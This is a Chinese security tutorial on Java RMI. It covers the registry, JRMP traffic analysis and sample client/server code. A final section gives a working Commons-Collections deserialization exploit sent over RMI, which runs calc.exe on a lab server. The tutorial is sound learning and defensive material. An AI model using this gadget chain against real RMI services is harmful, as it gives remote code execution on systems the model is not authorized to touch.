4-java安全基础——RMI远程调用

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了4-java安全基础——RMI远程调用相关的知识,希望对你有一定的参考价值。

1. RMI远程调用

java RMI (Java Remote Method Invocation)即远程方法调用,是分布式编程中的一种编程思想,java jdk1.2就开始支持RMI,通过RMI可以实现一个虚拟机中的对象调用另一个虚拟机上中的对象的方法,并且这两个虚拟机可以跨主机,也可以跨网络。

RMI解决的问题是实现和本地方法调用一样的远程方法调用,但是又屏蔽了远程调用的具体实现的细节,使得远程方法调用看起来和本地方法调用一样。

2. RMI通信流程

来看一下RMI的实际通信过程(这图引用自先知社区,最后的参考资料中已经放上图的原出处链接)

        JRMP( Java Remote Method Protocol)协议是RMI中用于查找和引用远程对象的协议,JRMP协议运行在TCP协议之上,也就是说RMI客户端与RMI服务端之间进行远程方法调用时需要遵守这个协议,(参考web服务中客户端与服务端之间通信的http协议)。

3. (RMI registry)RMI注册表

RMI主要由三部分构成:RMI服务端用于提供远程调用服务,RMI客户端使用远程调用服务,还有一个(RMI registry)RMI注册表。注册表(Registry )是RMI服务端所有对象的命名空间,RMI服务端每创建一个对象都会在进行注册绑定到RMI注册中心。

一般RMI客户端通过远程对象的标识符访问注册表,来得到远程对象的引用,RMI注册表相当于RMI服务端和RMI客户端之间远程对象调用的代理。这个标识符的格式如下:

rmi://host:port/name

      标识符的格式类似http协议,host表示提供RMI远程调用的主机地址,port表示开放RMI服务的端口号,name很好理解,就是RMI服务具体名称。

       举个例子,当RMI服务端的标识符为rmi://10.100.0.1:10086/userRmiServices,这表示10.100.0.1主机在10086端口开放了一个名字为userRmiServices的RMI服务。然后RMI客户端就可以通过标识(rmi://10.100.0.1:10086/userRmiServices)来访问RMI服务端开放的RMI服务。

4. RMI编程实现

RMI编程的相关API:

java.rmi:使用RMI远程方法调用所需要的类、接口和异常

java.rmi.server:提RMI服务端所需要的类、接口和异常

java.rmi.registry:提供注册表的创建以及查找和命名远程对象的类、接口和异常(RMI注册表)

创建RMI服务接口UserRmiServices

package com.test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface UserRmiServices extends Remote {

    public User getUserName() throws RemoteException;

    public void TestObject(Object obj) throws  RemoteException;

}

       创建RMI服务接口需要注意的是:RMI强制要求RMI远程服务接口UserRmiServices 继承Remote接口,强制要求Remote的子接口抛出RemoteException异常

创建RMI远程服务对象类,实现UserRmiServices接口

package com.test;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class UserRmiServicesImpl extends UnicastRemoteObject implements UserRmiServices {

    //抛出RemoteException异常
    protected UserRmiServicesImpl() throws RemoteException {
        super();
    }

    @Override
    public User getUserName() throws RemoteException {
        User user = new User(1, "zhangsan", 20);
        return user;
}

    @Override
    public void TestObject(Object obj) throws RemoteException {
        Object obj2 = obj;
    }
}

RMI远程服务对象类必须注意以下几点:

  1. 必须继承UnicastRemoteObject类或者它的子类
  2. RMI强制要求所有方法必须抛出RemoteException异常,包括构造方法

为什么要继承UnicastRemoteObject类?因为RMI服务端要使用JRMP协议导出一个远程对象的引用,它并没有直接把远程对象复制一份传递给客户端,而是通过动态代理构建一个可以和远程对象交互的Stub对象,可以理解为Stu相当于远程对象的代理对象引用,那么就必须继承UnicastRemoteObject类,并且UnicastRemoteObject类强制要求抛出异常。

创建RMI服务端RmiServerTest

package com.test;

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RmiServerTest {
    public static void main(String[] args) throws Exception {
        try {
            //创建RMI服务对象
            UserRmiServicesImpl userRmiServices = new UserRmiServicesImpl();
            //注册RMI服务(RMI注册表)
            LocateRegistry.createRegistry(10086);
            //rebind表示重新绑定一个RMI服务,如果RMI服务重名,直接覆盖
            //Naming.rebind("rmi://localhost:10086" , userRmiServices);
            Naming.bind("rmi://localhost:10086/userRmiServices", userRmiServices);
            System.out.println("RMI服务端启动完成......");
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }
}

        创建一个RMI服务对象,对客户端提供远程调用服务并注册到RMI注册表,也要抛出异常。

创建RMI客户端RmiClientTest

package com.test;

import java.rmi.Naming;

public class RmiClientTest {
    public static void main(String[] args) throws Exception {
        //创建代理对象
        UserRmiServices userRmiServices = null;
        //使用lookup方法查找RMI服务,并自动创建代理对象
        userRmiServices = (UserRmiServices) Naming.lookup("rmi://localhost:10086/userRmiServices");
        //远程调用代理对象的方法
        //user对象接收RMI服务端返回的结果
        User user = userRmiServices.getUserName();
        System.out.println(user.toString());
    }
}

先启动RMI服务端,再启动RMI客户端,程序执行结果:

        RMI客户端userRmiServices.getUserName()的操作相当于向RMI服务端发送了一个远程调用代理对象userRmiServices的getUserName方法的请求,然后RMI服务端接收到这个请求就会调用RMI服务,也就是执行本地userRmiServices对象的getUserName方法,然后RMI服务端将方法执行结果再传回给客户端。

         RMI客户端的远程方法调用操作实际上是让RMI服务端调用本地对象的方法并将执行结果返回给RMI客户端。但是这些细节都被底层帮我们屏蔽了,使得RMI远程方法调用和调用本地类的方法效果一样,这点要注意区分。

另外客户端与服务端之间进行RMI远程方法调用时会涉及到远程方法的参数传递和远程方法的返回值,无论是传输还是返回值可以是基本数据类型,也有可能是对象的引用,所以这些需要被传输的对象必须实现 java.io.Serializable 序列化接口,并且客户端的suid字段要与服务器端保持一致。

通常来说,RMI远程方法调用过程中参数传递和返回结果主要为以下类型:

  1. 简单类型:按值传递,直接传递数据拷贝
  2. 远程对象引用类型:如果实现了Remote接口以远程对象的引用传递,如果未实现Remote接口,按值传递,通过序列化对象传递副本,该对象必须实现序列化才能进行远程方法调用

         例如上面的RMI示例程序中,RMI客户端接收的user对象就是一个远程对象引用类型,并且该接口实现了Serializable可序列化接口,但未实现Remote接口,因此RMI服务端会拷贝该对象的副本进行序列化,传回给RMI客户端。

5. RMI通信流程分析

RMI通信底层用到了tcp协议,既然是网络通信,必然会涉及数据传输格式问题,一般网络通信中传输的数据通常都是以字节流的形式,因此java对象会先序列化成字节流数据在网络中传输。当客户端的RMI远程方法调用时传递的参数是一个java对象类型时,那么服务器端在接收时会进行反序列化恢复成java对象。

JRMP协议底层还是使用的TCP协议进行网络通信,我们可以通过wireshark工具分析客户端和服务端的RMI通信过程,如下所示:

如上图所示,RMI通信过程总共分为两部分:

RMI客户端与RMI注册中心通信,端口为10086

RMI客户端与RMI服务端之间通信,端口为31919

第1部分表示RMI客户端与RMI注册中心建立tcp连接,第2部分表示它们正式通信的内容,我们直接分析这一部分内容:

      RMI客户端向RMI注册中心发送一个frame 405数据包,在该数据包的Data部分可以看到50是指RMI call,ac ed表示序列化数据格式中的魔数(表示这是一段序列化数据),右键 as a Hex Stream复制这一串数据,通过SerializationDumper.jar工具对序列化数据解析。

从解析的结果来看,RMI客户端向RMI注册中心获取了一个userRmiServices对象

接着来看frame 407,RMI注册中心并没有直接把userRmiServices对象返回给RMI客户端,使用动态代理创建了一个userRmiServices的代理对象,并这个代理对象返回给RMI客户端

frame 425为RMI服务端返回给RMI客户端的远程方法调用的执行结果,其实就是把序列化的user对象返回给RMI客户端。

解析user对象的序列化数据,我们可以看到user对象的成员属性内容


STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_BLOCKDATA - 0x77
    Length - 15 - 0x0f
    Contents - 0x01adcf1a7a0000017a94d0e0668014
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 13 - 0x00 0d
        Value - com.test.User - 0x636f6d2e746573742e55736572
      serialVersionUID - 0x51 f1 a2 80 f3 86 0c fd
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 3 - 0x00 03
      Fields
        0:
          Int - I - 0x49
          fieldName
            Length - 3 - 0x00 03
            Value - age - 0x616765
        1:
          Int - I - 0x49
          fieldName
            Length - 2 - 0x00 02
            Value - id - 0x6964
        2:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_NULL - 0x70
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      com.test.User
        values
          age
            (int)20 - 0x00 00 00 14
          id
            (int)1 - 0x00 00 00 01
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 8 - 0x00 08
                Value - zhangsan - 0x7a68616e6773616e

6. 利用RMI实现反序列化漏洞

从RMI通信流程流量分析的过程中可以知道,RMI通信过程使用了序列化与反序列化机制,如果RMI服务端中存在反序列化漏洞的组件或框架,就可以对RMI服务端进行反序列化漏洞利用。

在真实环境的漏洞利用过程中,RMI服务端代码我们是接触不到的,但是RMI客户端向RMI服务端发送序列化数据是可控的,那么可以在RMI客户端进行RMI远程方法调用时构造恶意的序列化对象,当RMI服务端在接收并反序列化该恶意对象时就会触发漏洞,本次漏洞利用代码为apache commons-collections组件反序列化漏洞的transformedMap类利用链。

RMI客户端漏洞利用代码如下:

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.annotation.Target;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class RmiClientTest {
    public static void main(String[] args) throws Exception {
        //创建代理对象
        UserRmiServices userRmiServices = null;
        //使用lookup方法连接到RMI注册表查找RMI服务,并自动创建代理对象
        userRmiServices = (UserRmiServices) Naming.lookup("rmi://192.168.0.220:10086/userRmiServices");
        //构造恶意对象(漏洞利用代码)
        Object obj = getObject();
        //RMI远程调用触发漏洞
        userRmiServices.TestObject(obj);
    }

    public static Object getObject() throws Exception {
        //核心利用代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        //将数组transformers传给ChainedTransformer,构造利用链
        Transformer transformerChain = new ChainedTransformer(transformers);
        //触发漏洞
        Map map = new HashMap();
        map.put("value", "test");
        //通过反射触发利用链
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获得AnnotationInvocationHandler的构造器
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        //将transformedMap传给AnnotationInvocationHandler的构造
        Object instance=ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

先启动RMI服务端(win7),再启动RMI客户端(win10)0触发漏洞,然后查看RMI服务端效果,如下所示:

当RMI服务端接收恶意对象进行反序列化过程中就会触发漏洞,具体漏洞原理和利用过程可参考:6-Web安全——java反序列化漏洞利用链

参考资料:

https://blog.csdn.net/lmy86263/article/details/72594760

https://paper.seebug.org/1091/

https://xz.aliyun.com/t/9261

以上是关于4-java安全基础——RMI远程调用的主要内容,如果未能解决你的问题,请参考以下文章

Java RMI之HelloWorld程序以及相关的安全管理器的知识

Java安全初探-RMI篇

Java RMI地址解析问题

普通方法实现——远程方法调用RMI代码演示

RMI远程方法调用

java基础十一[远程部署的RMI](阅读Head First Java记录)